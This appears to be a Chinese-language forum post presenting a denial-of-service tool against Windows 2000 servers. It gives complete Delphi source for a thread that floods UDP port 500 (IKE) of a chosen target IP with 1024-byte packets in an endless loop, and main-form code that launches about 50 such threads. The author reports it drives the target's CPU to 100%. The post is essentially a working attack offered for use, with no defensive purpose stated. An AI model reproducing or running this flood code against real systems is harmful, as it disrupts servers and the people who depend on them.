前些日子,看见有文章说win2000服务器的500端口对flood攻击防御不是很好,我测试了一下,发现很有效果,对win2000服务器的udp500发送大量包的时候,win2000服务器的cpu率一下子达到了100%,而且反应立刻迟钝下来.
程序如下:
线程程序://线程的执行代码,创建线程请用菜单new一个theadobject
uses winsock;
procedure udpdos.execute;
var
wsa:twsadata;
s: tsocket;
sockin: tsockaddrin;
buf:array[0..1023] of byte;
i: integer;
dip:string;
begin
{ place thread code here }
//win2000下利用ike(udp 500)的dos攻击
//by 杨顺
freeonterminate := true;
//destip是主form里面上,就是要攻击的对象,在主form里面申明一个这样的变量就可以了
dip := destip;
//填充buf
for i := 0 to 1023 do
buf[i] := 97;
//初始化socket2
wsastartup($101,wsa);
//创建udp socket
s := socket(af_inet,sock_dgram,ipproto_udp);
sockin.sin_family := af_inet;
sockin.sin_port := htons(ike);
sockin.sin_addr.s_addr := inet_addr(pchar(dip));
while true do
begin
if self.terminated then
break;
//发送数据报
sendto(s,buf,1024,0,sockin,sizeof(sockin));
end;
closesocket(s);
wsacleanup;
end;
主form里面,调用
for i := 0 to 50 do
begin
udpdos.create(false); //创建50多个线程,进行攻击
end;
顺便提一下,坚持用户输入的ip是否合法,一句话就可以了
uses winsock
if inet_addr(pchar(destip)) = inaddr_none then
begin
showmessage('输入的ip地址错误');
exit;
end;